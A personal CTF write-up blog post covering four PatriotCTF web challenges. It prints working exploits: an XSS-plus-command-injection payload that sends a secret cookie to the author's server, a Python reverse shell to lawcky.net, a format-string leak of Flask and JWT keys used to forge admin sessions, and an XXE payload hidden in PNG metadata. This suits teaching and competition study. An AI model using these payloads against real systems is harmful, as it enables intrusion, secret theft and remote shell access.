Last updated: 23 Sep 24 10:51:27 (UTC)
🦅 PatriotCTF
🦅 PatriotCTF 🦅
21/09 00:00 to 23/09 00:00
Certificate of Participation (nice)
me & many guys from the CTFREI team played this CTF. i mostly flagged Web challenges with 2 other guys.
This CTF was one of the nicest one i felt i did by the sheer amount & content of challenges it was a very fun CTF !
Here are the writups for challenges i participated in.
Open Seasame - solved
Does the CLI listen to magic? http://chal.competitivecyber.club:13336 Flag format: CACI{.*} Author: CACI
Does the CLI listen to magic?
http://chal.competitivecyber.club:13336
Flag format: CACI{.*}
Author: CACI
we have a page on which we can send a path on “http://127.0.0.1:1337/”
we get the source code of the server in python, and of the bot that has the FLAG as a cookie in admin.js
by looking at the bot’s settings we see :
let cookies = [ { name: "secret", value: SECRET, domain: "127.0.0.1", httpOnly: true, }, ];
let cookies = [
{
name: "secret",
value: SECRET,
domain: "127.0.0.1",
httpOnly: true,
},
];
thus we know the cookie cannot be extracted through XSS and that it needs to be retrieved locally.
Also we see how the bot will be processing the path we gives it :
app.post("/visit", async (req, res) => { const path = req.body.path; console.log("received path: ", path); let url = CHAL_URL + path; if (url.includes("cal") || url.includes("%")) { res.send('Error: "cal" is not allowed in the URL'); return; } try { console.log("visiting url: ", url); await visitUrl(url);
app.post("/visit", async (req, res) => {
const path = req.body.path;
console.log("received path: ", path);
let url = CHAL_URL + path;
if (url.includes("cal") || url.includes("%")) {
res.send('Error: "cal" is not allowed in the URL');
return;
}
try {
console.log("visiting url: ", url);
await visitUrl(url);
we cannot mention “cal” nor encode it using “%”.
now lets look at the python code, its a server running via flask.
the code has 3 functions
- One where we can send a username & a score through a POST request and it’ll return an id (this is a very important function even if it dont look like it for now)
@app.route('/api/stats', methods=['POST']) def add_stats(): try: username = request.json['username'] high_score = int(request.json['high_score']) except: return '{"error": "Invalid request"}' id = str(uuid.uuid4()) stats.append({ 'id': id, 'data': [username, high_score] }) return '{"success": "Added", "id": "'+id+'"}'
@app.route('/api/stats', methods=['POST'])
def add_stats():
try:
username = request.json['username']
high_score = int(request.json['high_score'])
except:
return '{"error": "Invalid request"}'
id = str(uuid.uuid4())
stats.append({
'id': id,
'data': [username, high_score]
})
return '{"success": "Added", "id": "'+id+'"}'
- One where we can view the score and username of a past “game” through its id
@app.route('/api/stats/<string:id>', methods=['GET']) def get_stats(id): for stat in stats: if stat['id'] == id: return str(stat['data']) return '{"error": "Not found"}'
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
for stat in stats:
if stat['id'] == id:
return str(stat['data'])
return '{"error": "Not found"}'
- And finally the “cal” function that basically takes the cookie (the one the Bot is running) and takes a “modifier” GET parameter as a user input to then execute as a shell command with the “cal” command
@app.route('/api/cal', methods=['GET']) def get_cal(): cookie = request.cookies.get('secret') if cookie == None: return '{"error": "Unauthorized"}' if cookie != SECRET: return '{"error": "Unauthorized"}' modifier = request.args.get('modifier','') return '{"cal": "'+subprocess.getoutput("cal "+modifier)+'"}'
@app.route('/api/cal', methods=['GET'])
def get_cal():
cookie = request.cookies.get('secret')
if cookie == None:
return '{"error": "Unauthorized"}'
if cookie != SECRET:
return '{"error": "Unauthorized"}'
modifier = request.args.get('modifier','')
return '{"cal": "'+subprocess.getoutput("cal "+modifier)+'"}'
without even having anything else we can already see the clear command injection in this last function since the modifier parameter is not sanitized at all.
we need to find a way to retrieve the cookie of the bot or to make it execute the “cal” function for us.
We tried many CRLF payloads and tried many things to redirect the bot to another domain but none worked.
so we went back to the “stats” function in the python code and discovered that when the stats of a game was reviewed (if the game existed) the username & score was displayed in clear on the page without any sanitization.
which mean we can inject javascript code through <script></script> HTML tags.
BUT remember that the cookie is http-only which means we cannot simply grab it through a document.cookie so we have to think further.
we tried to fetch our own machines and it worked through an easy payload :
curl -H 'Content-Type: application/json' -d '{"username":"<script> fetch(\"http://lawcky.net:51951\", { method: \"GET\" }) </script>","high_score":1}' -X POST http://chal.competitivecyber.club:13337/api/stats -v
curl -H 'Content-Type: application/json' -d '{"username":"<script> fetch(\"http://lawcky.net:51951\", { method: \"GET\" }) </script>","high_score":1}' -X POST http://chal.competitivecyber.club:13337/api/stats -v
once we knew we could retrieve data we still needed to get that cookie. for that we did many tests and so to win some time and convienience i wrote a Powershell scripts to automate the sending process
we had to send the payload in a html script tag to /api/stats, and then we needed to send the id we got to the /api/stats/“id” address which would then make the bot run the script.
here is the powershell script :
$firstUrl = "http://chal.competitivecyber.club:13337/api/stats" $secondUrl = "http://chal.competitivecyber.club:13336/visit" #instead of going through the /api/stats/id which would have then redirected to this page i directly sent it here. $username = "OUR PAYLOAD GOES HERE" $highScore = 9999 $jsonData = @{ username = $username high_score = $highScore } | ConvertTo-Json $response = Invoke-RestMethod -Uri $firstUrl -Method POST -ContentType "application/json" -Body $jsonData $id = $response.id if ($id) { Write-Host "ID retrieved from response: $id" $BOTurl = "path=/api/stats/$id" $responseData = Invoke-RestMethod -Uri $secondUrl -Method POST -Body $BOTurl Write-Host "Response from the second POST request: $responseData" } else { Write-Host "Failed to retrieve ID from the first response." }
$firstUrl = "http://chal.competitivecyber.club:13337/api/stats"
$secondUrl = "http://chal.competitivecyber.club:13336/visit"
#instead of going through the /api/stats/id which would have then redirected to this page i directly sent it here.
$username = "OUR PAYLOAD GOES HERE"
$highScore = 9999
$jsonData = @{
username = $username
high_score = $highScore
} | ConvertTo-Json
$response = Invoke-RestMethod -Uri $firstUrl -Method POST -ContentType "application/json" -Body $jsonData
$id = $response.id
if ($id) {
Write-Host "ID retrieved from response: $id"
$BOTurl = "path=/api/stats/$id"
$responseData = Invoke-RestMethod -Uri $secondUrl -Method POST -Body $BOTurl
Write-Host "Response from the second POST request: $responseData"
} else {
Write-Host "Failed to retrieve ID from the first response."
}
to make it short we did succeed in sending the bot to the /api/cal function but couldnt retrieve the output through bash command injection (in the cal function),
so i had another idea and make a new JS custom payload, instead of using the Javascript to send the bash payload and then having the bash payload send us the output back i decided to use only the Javascript. here is what it looks like :
<script>fetch('http://127.0.0.1:1337/api/cal?modifier=%7C%20cat%20secret.txt').then(res => res.json()).then(data => fetch('http://lawcky.net:51951?cal=' + data.cal));</script>
<script>fetch('http://127.0.0.1:1337/api/cal?modifier=%7C%20cat%20secret.txt').then(res => res.json()).then(data => fetch('http://lawcky.net:51951?cal=' + data.cal));</script>
the first fetch sends the bash command injection to the cal function running on the server :
cal | cat secret.txt # returns the value of the cookie
cal | cat secret.txt # returns the value of the cookie
and the second fetch will send its value to my VPS server.
the cookie we got : FDJtFLydO3dojOCrKj1mJiN0NYJW2OLx4rRUZCp5gMxi6wTszhb7NkC7idQ1E1J9WCbU0zOujetQbkIuhSNUf9uwsdOi5vlnz0ngid0ifXfoe78PA3D7KM1LpKnr6iLp
now that we have the cookie we can just go directly on the /api/cal endpoint and run whatever we want.
it could have been a simple ls into cat but i wanted to make the reverse shell work so here it is :
curl -H "Cookie: secret=FDJtFLydO3dojOCrKj1mJiN0NYJW2OLx4rRUZCp5gMxi6wTszhb7NkC7idQ1E1J9WCbU0zOujetQbkIuhSNUf9uwsdOi5vlnz0ngid0ifXfoe78PA3D7KM1LpKnr6iLp" http://chal.competitivecyber.club:13337/api/cal?modifier="%7Cpython3%20-c%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22lawcky.net%22%2C51951%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bpty.spawn%28%22%2Fbin%2Fsh%22%29%27"
curl -H "Cookie: secret=FDJtFLydO3dojOCrKj1mJiN0NYJW2OLx4rRUZCp5gMxi6wTszhb7NkC7idQ1E1J9WCbU0zOujetQbkIuhSNUf9uwsdOi5vlnz0ngid0ifXfoe78PA3D7KM1LpKnr6iLp" http://chal.competitivecyber.club:13337/api/cal?modifier="%7Cpython3%20-c%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22lawcky.net%22%2C51951%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bpty.spawn%28%22%2Fbin%2Fsh%22%29%27"
and finally the flag : CACI{1_l0v3_c0mm4nd_1nj3ct10n}
Secret Door - solved
knock knock... http://chal.competitivecyber.club:1337 Author: sans909
knock knock...
http://chal.competitivecyber.club:1337
Author: sans909
the source code for this one is heavy so i’ll stick to what we need.
we have an app on which we can register and login, inside it we can change our email address and view the account logs (email changed).
the app is running Flask, the FLASK_SECRET_KEY is set and used as the session key, and there is a JWT token in play with a JWT key as well. we know none of these keys.
Our objective is to get to the /admin page.
To do so we first need a valid JWT token of an admin, and have it signed with the Flask session key.
this challenge is basically Fort Boyard where are the keys ?
After looking at the source code we found a vulnerability in the update_email() function :
@api.route('/update-email', methods=["POST"]) @is_authenticated def update_email(): if not request.is_json: return abort(400, 'Invalid POST format!') data = request.get_json() new_email = data.get('email', '') if not is_valid_email(new_email): return abort(401, 'Invalid Email') # Get old email address token = session.get('auth') decoded_token = verify_JWT(token) old_email = decoded_token["email"] # Logging Data time = datetime.now() update_date = time.strftime("%Y-%m-%d %H:%M:%S") log_text = f"Email updated to {new_email} at {update_date}" log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date) # Update users call_procedure("update_user_email", (old_email, new_email)) # Insert Logs log_text = escape_html(log_text) call_procedure("insert_log", (new_email, log_text)) # Log out of the page session['auth'] = None return redirect(url_for('web.logout'))
@api.route('/update-email', methods=["POST"])
@is_authenticated
def update_email():
if not request.is_json:
return abort(400, 'Invalid POST format!')
data = request.get_json()
new_email = data.get('email', '')
if not is_valid_email(new_email):
return abort(401, 'Invalid Email')
# Get old email address
token = session.get('auth')
decoded_token = verify_JWT(token)
old_email = decoded_token["email"]
# Logging Data
time = datetime.now()
update_date = time.strftime("%Y-%m-%d %H:%M:%S")
log_text = f"Email updated to {new_email} at {update_date}"
log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
# Update users
call_procedure("update_user_email", (old_email, new_email))
# Insert Logs
log_text = escape_html(log_text)
call_procedure("insert_log", (new_email, log_text))
# Log out of the page
session['auth'] = None
return redirect(url_for('web.logout'))
When an email is changed nothing is interpreted so basically when we change the email, the login email will be exactly the same as the one we entered.
BUT for the logs it is formatted twice when beeing sent to the log file, which means we can potentially retrieve sensitive info like __globals__ variable.
Basically the email address format is text@text.text, we found we could place “{}” in the first part of the email address before the @.
here is what is looks like when beeing ran on the app:
test{{7*7}}@test.com --> test{7*7}@test.com
test{{7*7}}@test.com --> test{7*7}@test.com
OK not much happened here and we cannot execute python code but it still means our input are indeed going through python’s format and beeing treated.
Then after a lot of tests we found different methods that indeed worked, we understood that to be able to retrieve any values we needed to first use a variable that was in the code like those :
log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
We discovered that we could execute some methods after having for exemple any payloads like :
test+{timestamp.__name__}@test.com
test+{timestamp.__name__}@test.com
I dont remember which ones worked exactly but the one that gave us all we needed was this one :
test+{timestamp.__globals__}@test.com
test+{timestamp.__globals__}@test.com
This one basically offered us all the Variables we could ever need (exept the FLAG ofc).
With this one my friend retrieve both the JWT key value and the FLASK_SECRET_KEY value.
Then comes the testing environnement, i had some problem with the signature of the cookies which basically ended up with me reproducing most of the backend of the challenge, all that because for some reason the keys my friend got and the one i found later on when reproducing the technique were totally different, anyway here is the code :
from flask import Blueprint, request, abort, session, redirect, url_for, jsonify, Flask import jwt import datetime from itsdangerous import URLSafeTimedSerializer from functools import wraps FLASK_SECRET_KEY = "d3e92d28c3d8576f6fdaa04ff179e1476876d337f9b46d21a9b09e9c57e2bfb73c24e9216309f5399589bedffa97ddcc4f6f0c40f664f27264dd52e3501c604ef79a3db7efce94ab1c2497cae17be95104be18329ed1b007933b6dce28847e990579584fc6a2b77391b2b77aa6e0da10166905ad06269d65be76e2e1457adeeea9e390526375ea1ffa821c95042da58be6ef732e916f3ef73a34a1efa90e16c701310cfdaf753a35811a41f64651866f1e13aa3cb7183154e93b63cbdcaaadb7f281cb9fa20062a2d5612452a25063212c94d4af5a09cee1faee25339c487ff17ae294e402da76d1fff62f3be5c0eb1e00e71b6c603ca463c15b11f718d7932f" jwt_key = "962f71030aaece68d736e3f3e6089a4fcd633c83da8a6b97b5ec3f8efafa1c5d2a12dd75a95568787cfe5ff945c2e38515ac9962255cfb6397daba2495b488cfbb9763bf3bb3a641545dc9e0af22e953d89458da32313c44f2f1735e3e82569bd30e96604b81e48eef2209ddc7fb21bb2b686e754bb1dc14fed177e5cedd36b809e9ff70f271526b1b4076c91614605173f819da39ec3c17db7451e1f9d3a03e94bbe101980b967717185bd83ad970a13c5b06a905567eb1c80a692e4def0dbbe1bdd96d79c2ebe5fedddd090de4547977de6088826cf7cab6d9395e87a33c35c3e4c6794e8b20217bbdec89ee2f2d498361b6190da7793bee5350ca8e0c5ce3" def create_JWT(email: str, role="admin"): utc_time = datetime.datetime.now(datetime.UTC) token_expiration = utc_time + datetime.timedelta(minutes=1000) data = { 'email': email, "exp": token_expiration, 'role': role } encoded = jwt.encode(data, jwt_key, algorithm='HS256') return encoded def verify_JWT(token): try: token_decode = jwt.decode( token, jwt_key, algorithms='HS256' ) return token_decode except: return abort(401, 'Invalid authentication token!') def is_authenticated(f): @wraps(f) def decorator(*args, **kwargs): token = session.get('auth') print(token) if not token: return abort(401, 'Unauthorized access detected!!') verify_JWT(token) return f(*args, **kwargs) return decorator def is_admin(f): @wraps(f) def decorator(*args, **kwargs): token = session.get('auth') if not token: return abort(401, 'Unauthorized access detected!!') decoded_token = verify_JWT(token) if decoded_token["role"] != "admin": return abort(401, 'Unauthorized access detected!!') return f(*args, **kwargs) #------------------------------------------------------ app = Flask(__name__) app.secret_key = FLASK_SECRET_KEY @app.route('/') def index(): jwt_token = create_JWT("test1@test1.com", "admin") session['auth'] = jwt_token return f"Token stored in session: {session['auth']}" @app.route('/test') @is_authenticated def gg(): return f"hello world" @app.route('/get_token') def get_token(): # Retrieve the JWT from the session stored_token = session.get('auth') if stored_token: return f"Retrieved token from session: {stored_token}" else: return "No token found in session." if __name__ == '__main__': app.run(debug=True)
from flask import Blueprint, request, abort, session, redirect, url_for, jsonify, Flask
import jwt
import datetime
from itsdangerous import URLSafeTimedSerializer
from functools import wraps
FLASK_SECRET_KEY = "d3e92d28c3d8576f6fdaa04ff179e1476876d337f9b46d21a9b09e9c57e2bfb73c24e9216309f5399589bedffa97ddcc4f6f0c40f664f27264dd52e3501c604ef79a3db7efce94ab1c2497cae17be95104be18329ed1b007933b6dce28847e990579584fc6a2b77391b2b77aa6e0da10166905ad06269d65be76e2e1457adeeea9e390526375ea1ffa821c95042da58be6ef732e916f3ef73a34a1efa90e16c701310cfdaf753a35811a41f64651866f1e13aa3cb7183154e93b63cbdcaaadb7f281cb9fa20062a2d5612452a25063212c94d4af5a09cee1faee25339c487ff17ae294e402da76d1fff62f3be5c0eb1e00e71b6c603ca463c15b11f718d7932f"
jwt_key = "962f71030aaece68d736e3f3e6089a4fcd633c83da8a6b97b5ec3f8efafa1c5d2a12dd75a95568787cfe5ff945c2e38515ac9962255cfb6397daba2495b488cfbb9763bf3bb3a641545dc9e0af22e953d89458da32313c44f2f1735e3e82569bd30e96604b81e48eef2209ddc7fb21bb2b686e754bb1dc14fed177e5cedd36b809e9ff70f271526b1b4076c91614605173f819da39ec3c17db7451e1f9d3a03e94bbe101980b967717185bd83ad970a13c5b06a905567eb1c80a692e4def0dbbe1bdd96d79c2ebe5fedddd090de4547977de6088826cf7cab6d9395e87a33c35c3e4c6794e8b20217bbdec89ee2f2d498361b6190da7793bee5350ca8e0c5ce3"
def create_JWT(email: str, role="admin"):
utc_time = datetime.datetime.now(datetime.UTC)
token_expiration = utc_time + datetime.timedelta(minutes=1000)
data = {
'email': email,
"exp": token_expiration,
'role': role
}
encoded = jwt.encode(data, jwt_key, algorithm='HS256')
return encoded
def verify_JWT(token):
try:
token_decode = jwt.decode(
token,
jwt_key,
algorithms='HS256'
)
return token_decode
except:
return abort(401, 'Invalid authentication token!')
def is_authenticated(f):
@wraps(f)
def decorator(*args, **kwargs):
token = session.get('auth')
print(token)
if not token:
return abort(401, 'Unauthorized access detected!!')
verify_JWT(token)
return f(*args, **kwargs)
return decorator
def is_admin(f):
@wraps(f)
def decorator(*args, **kwargs):
token = session.get('auth')
if not token:
return abort(401, 'Unauthorized access detected!!')
decoded_token = verify_JWT(token)
if decoded_token["role"] != "admin":
return abort(401, 'Unauthorized access detected!!')
return f(*args, **kwargs)
#------------------------------------------------------
app = Flask(__name__)
app.secret_key = FLASK_SECRET_KEY
@app.route('/')
def index():
jwt_token = create_JWT("test1@test1.com", "admin")
session['auth'] = jwt_token
return f"Token stored in session: {session['auth']}"
@app.route('/test')
@is_authenticated
def gg():
return f"hello world"
@app.route('/get_token')
def get_token():
# Retrieve the JWT from the session
stored_token = session.get('auth')
if stored_token:
return f"Retrieved token from session: {stored_token}"
else:
return "No token found in session."
if __name__ == '__main__':
app.run(debug=True)
After i added the right keys i was able to get the right Flask signature and the right JWT cookie to be considered an Admin and got the /admin page.
and finally the flag : pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}
DOMDOM - solved
I love face-book and I love to share my photos with my friends. http://chal.competitivecyber.club:9090 Author: Kiran Ghimire (sau_12)
I love face-book and I love to share my photos with my friends.
http://chal.competitivecyber.club:9090
Author: Kiran Ghimire (sau_12)
We get the source code of an app on which we can see images and upload files, the files need to be either png or jpg.
here is the source code of the check() function
@app.route('/check', methods=['POST', 'GET']) def check(): r = requests.Session() allow_ip = request.headers['Host'] if request.method == 'POST': url = request.form['url'] url_parsed = urllib.parse.urlparse(url).netloc if allow_ip == url_parsed: get_content = r.get(url = url) else: return "Cannot request for that url" try: parsed_json = json.loads(get_content.content.decode())["Comment"] parser = etree.XMLParser(no_network=False, resolve_entities=True) get_doc = etree.fromstring(str(parsed_json), parser) print(get_doc, "ho") result = etree.tostring(get_doc) except: return "Something wrong!!" if result: return result else: return "Empty head" else: return render_template('check.html')
@app.route('/check', methods=['POST', 'GET'])
def check():
r = requests.Session()
allow_ip = request.headers['Host']
if request.method == 'POST':
url = request.form['url']
url_parsed = urllib.parse.urlparse(url).netloc
if allow_ip == url_parsed:
get_content = r.get(url = url)
else:
return "Cannot request for that url"
try:
parsed_json = json.loads(get_content.content.decode())["Comment"]
parser = etree.XMLParser(no_network=False, resolve_entities=True)
get_doc = etree.fromstring(str(parsed_json), parser)
print(get_doc, "ho")
result = etree.tostring(get_doc)
except:
return "Something wrong!!"
if result: return result
else: return "Empty head"
else:
return render_template('check.html')
If the given url is a file on the server and that it match a file it’ll be displayed with the comment of the meta data displayed on the page.
the vulnerability is here
parsed_json = json.loads(get_content.content.decode())["Comment"] parser = etree.XMLParser(no_network=False, resolve_entities=True) get_doc = etree.fromstring(str(parsed_json), parser)
parsed_json = json.loads(get_content.content.decode())["Comment"]
parser = etree.XMLParser(no_network=False, resolve_entities=True)
get_doc = etree.fromstring(str(parsed_json), parser)
Where the input are not properly sanitized which allows us to execute an XXE (XML external entity).
To do so all we have to do is inject code inside an image’s metadata, upload said image to the site, and then open it using the check function which will then execute the XML code.
the python code :
from PIL import Image, PngImagePlugin # Create a simple image (100x100 white image) img = Image.new('RGB', (100, 100), color='white') # Create an XXE payload xxe_payload = """<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/flag.txt">]> <foo>&xxe;</foo> """ # Add the XXE payload to image.info['Comment'] meta = PngImagePlugin.PngInfo() meta.add_text("Comment", xxe_payload) # Save the image with the comment payload img.save("img.png", "PNG", pnginfo=meta) # Print the metadata to verify with Image.open("img.png") as im: print(im.info.get("Comment"))
from PIL import Image, PngImagePlugin
# Create a simple image (100x100 white image)
img = Image.new('RGB', (100, 100), color='white')
# Create an XXE payload
xxe_payload = """<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/flag.txt">]>
<foo>&xxe;</foo>
"""
# Add the XXE payload to image.info['Comment']
meta = PngImagePlugin.PngInfo()
meta.add_text("Comment", xxe_payload)
# Save the image with the comment payload
img.save("img.png", "PNG", pnginfo=meta)
# Print the metadata to verify
with Image.open("img.png") as im:
print(im.info.get("Comment"))
now that we have our image we open it with Curl
curl -X POST http://chal.competitivecyber.club:9090/check -d "url=http://chal.competitivecyber.club:9090/meta?image=img.png58780" #img.png58780 is the name the app gave to our image
curl -X POST http://chal.competitivecyber.club:9090/check -d "url=http://chal.competitivecyber.club:9090/meta?image=img.png58780"
#img.png58780 is the name the app gave to our image
the flag : PCTF{Y0u_D00m3D_U5_Man_So_SAD}
Really Only Echo - solved
Hey, I have made a terminal that only uses echo, can you find the flag? Author: Ryan Wong (shadowbringer007) nc chal.competitivecyber.club 3333
Hey, I have made a terminal that only uses echo, can you find the flag?
Author: Ryan Wong (shadowbringer007)
nc chal.competitivecyber.club 3333
This one was pretty easy, we get a shell on which we need to find the flag and all we can do is echo commands.
echo */ #list directories echo $(/bin/cat *) # read all the files in the current directory
echo */ #list directories
echo $(/bin/cat *) # read all the files in the current directory
the flag : pctf{echo_is_such_a_versatile_command}